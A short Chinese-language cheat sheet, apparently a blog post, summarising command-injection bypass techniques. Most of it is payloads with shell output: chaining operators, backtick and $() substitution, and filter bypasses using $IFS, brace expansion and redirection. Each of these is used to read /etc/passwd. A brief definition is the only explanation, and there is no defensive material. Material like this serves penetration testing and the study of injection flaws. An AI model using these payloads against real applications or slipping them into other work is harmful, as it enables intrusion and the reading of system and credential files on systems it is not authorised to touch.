命令注入绕过技巧总结
命令注入是一个安全漏洞,它使攻击者可以在易受攻击的应用程序中执行任意命令。
基本命令
root@micr067:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
链接命令
demo; ls
cat demo.txt && ls
cat demo.txt | ls
cat demo || ls # 当前面的命令执行失败后面的命令才会执行
在命令内
cat demo.txt `cat /etc/passwd`
cat demo.txt $(cat /etc/passwd)
过滤器绕过
无空格绕过
仅适用于Linux。
root@micr067:/tmp# cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
root@micr067:/tmp# {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@micr067:/tmp# IFS=,;`cat<<<cat,</etc/passwd`
root:x:0:0:root:/root:/bin/bash
root@micr067:/tmp# cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@micr067:/tmp# echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin